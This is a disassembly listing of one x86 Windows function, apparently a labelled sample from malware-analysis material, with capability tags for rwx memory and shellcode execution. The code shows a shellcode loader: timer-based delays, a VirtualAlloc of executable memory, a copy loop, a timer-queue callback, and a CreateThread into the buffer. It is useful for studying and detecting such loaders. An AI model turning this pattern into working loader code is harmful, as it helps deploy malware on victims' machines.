Function at 0x10001a10
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Execute shellcode via windows callback function
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x34
push ebx
push esi
push edi
xor esi, esi
mov edi, edi
cmp esi, 3
je 0x10001a3d
push 0x10020258
push ecx
push esi
call fcn.10001f80
add esp, 4
push eax
call fcn.10006f60
add esp, 8
inc esi
cmp esi, 6
jle 0x10001a20
push str.In_above_example__program_accepts
push 0x100249e8
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], 0
mov byte [esp + 0x2c], 0
call fcn.10006f60
mov eax, dword [0x10024aa0]
mov ecx, dword [eax + 4]
mov edx, dword [ecx + 0x10024ad0]
mov edi, dword [edx]
add esp, 8
push 0
lea ecx, [esp + 0x1c]
mov dword [esp + 0x14], edi
call fcn.1000949f
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x10001a95
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x18]
call fcn.100094c7
lea eax, [esp + 0x10]
push eax
call fcn.10006e60
add esp, 4
push 0
lea ecx, [esp + 0x14]
mov ebx, eax
call fcn.1000949f
mov eax, dword [edi + 4]
test eax, eax
je 0x10001ac8
cmp eax, 0xffffffff
jae 0x10001ac8
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
lea ecx, [esp + 0x10]
not esi
call fcn.100094c7
and esi, edi
je 0x10001ae8
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebx]
mov eax, dword [edx + 0x18]
push 0xa
mov ecx, ebx
call eax
mov byte [esp + 0xc], al
mov ecx, dword [esp + 0xc]
push ecx
push 0x10024aa0
lea ecx, [esp + 0x2c]
call fcn.10007d10
mov ebx, dword [sym.imp.KERNEL32.dll_CreateWaitableTimerA]
add esp, 8
push 0
push 1
or edi, 0xffffffff
push 0
mov dword [esp + 0x24], 0xffc2f700
mov dword [esp + 0x28], edi
call ebx
mov esi, eax
test esi, esi
je 0x10001b5e
push 0
push 0
push 0
push 0
lea edx, [esp + 0x28]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x10001b50
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [esp + 0x34], eax
jbe 0x10001bd0
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x24]
mov edi, edi
mov edx, ecx
cmp esi, 0x10
jae 0x10001b7b
lea edx, [esp + 0x24]
cmp byte [edx + eax], 0x61
jl 0x10001b92
mov edx, ecx
cmp esi, 0x10
jae 0x10001b8c
lea edx, [esp + 0x24]
cmp byte [edx + eax], 0x7a
jle 0x10001bc9
mov edx, ecx
cmp esi, 0x10
jae 0x10001b9d
lea edx, [esp + 0x24]
cmp byte [edx + eax], 0x41
jl 0x10001bb4
mov edx, ecx
cmp esi, 0x10
jae 0x10001bae
lea edx, [esp + 0x24]
cmp byte [edx + eax], 0x5a
jle 0x10001bc9
cmp esi, 0x10
jae 0x10001bbd
lea ecx, [esp + 0x24]
mov byte [ecx + eax], 0
mov esi, dword [esp + 0x38]
mov ecx, dword [esp + 0x24]
inc eax
cmp eax, dword [esp + 0x34]
jb 0x10001b70
push 0
push 1
push 0
mov dword [esp + 0x24], 0xff85ee00
mov dword [esp + 0x28], edi
call ebx
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x10001c16
push ebx
push ebx
push ebx
push ebx
lea eax, [esp + 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetWaitableTimer]
test eax, eax
je 0x10001c08
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18]
push ecx
call fcn.10002330
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x18], ebx
call fcn.10001d60
mov esi, dword [esp + 0x14]
add esp, 8
push 0x40
push 0x1000
lea ecx, [esi + 0x1000]
push ecx
push ebx
mov dword [esp + 0x30], ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
lea edx, [esi - 0x1e]
mov dword [esp + 0x18], 0x109a0
mov ecx, edx
mov eax, edi
test ecx, ecx
je 0x10001c7c
mov esi, dword [esp + 0x10]
sub esi, edi
mov bl, byte [esi + eax + 0x1e]
mov byte [eax], bl
inc eax
dec ecx
jne 0x10001c72
dec dword [esp + 0x18]
jne 0x10001c64
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x10025a00], eax
test eax, eax
jne 0x10001ca3
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov esi, eax
jmp 0x10001ca7
mov esi, dword [esp + 0x20]
push 0
push 0
push 0x3e8
push 0xdeadbeef
push 0x10001670
push esi
lea edx, [esp + 0x38]
push edx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueueTimer]
test eax, eax
je 0x10001cdb
mov eax, dword [0x10025a00]
push 0x2710
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ecx, dword [esp + 0xc]
push ecx
mov eax, edi
call fcn.100016a0
add esp, 4
push 0
push 0
push 0
push edi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_DeleteTimerQueueEx]
mov edx, dword [0x10025a00]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1000a6ae
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fadd qword [0x100203c8]
fstp qword [esp + 0x10]
call fcn.1000a6ae
mov dword [esp + 0x18], eax
fild dword [esp + 0x18]
fcomp qword [esp + 0x10]
fnstsw ax
test ah, 5
jnp 0x10001d28
cmp dword [esp + 0x38], 0x10
jb 0x10001d54
mov eax, dword [esp + 0x24]
push eax
call fcn.1000a716
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret